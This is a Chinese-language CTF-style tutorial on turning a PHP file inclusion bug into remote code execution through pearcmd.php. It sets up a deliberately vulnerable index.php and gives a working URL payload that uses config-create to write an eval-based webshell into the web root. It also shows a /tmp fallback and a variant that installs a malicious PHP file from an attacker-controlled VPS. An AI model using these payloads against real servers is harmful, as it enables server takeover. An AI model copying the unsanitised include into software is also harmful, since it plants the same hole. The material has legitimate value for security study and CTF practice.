pearcmd 利用
描述
Pear(PHP Extension and Application Repository)是一个php开发常用工具的库, 在php7.3之前默认安装,之后需要带参数 --with-pear 才行, Docker 中默认安装.
pearcmd.php 默认安装目录为/usr/local/lib/php/pearcmd.php, 命令行状态可通过 pear 或 /usr/local/lib/php/pearcmd.php 执行.
复现
利用条件
- 安装
pecl/pear - php.ini 中
register_argc_argv=On开启(Docker 环境下默认开启) - 存在文件包含漏洞
而同时由于CTF题目通常基于Docker环境,先天满足了前两个条件,所以只要出现文件包含,就能直接利用该漏洞getshell.
环境搭建
本地写index.php:
<?php
error_reporting(0);
echo "index";
include($_GET['page']);
docker pull php:7.0-apache
docker run -itd -v ./temp:/var/www/html -p 80:80 php:7.0-apache
访问127.0.0.1/index.php
此时文件包含pearcmd.php, 利用其中的 config-create 命令写入木马.
?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?@eval($_POST['shell']);?>+/var/www/html/shell.php

连接成功:

低权限写入
如果web目录没有写入权限,可以尝试写入低权限的/tmp目录下.再配合文件包含,连接shell.
远程安装
vps 挂在一个可下载的恶意php.
pear install VPS/phpinfo.php
?page=/usr/local/lib/php/pearcmd.php&+install+http://vps/phpinfo.php
默认安装路径在/tmp/pear/download/.
还可以使用down命令,操作同上.
参考:

浙公网安备 33010602011771号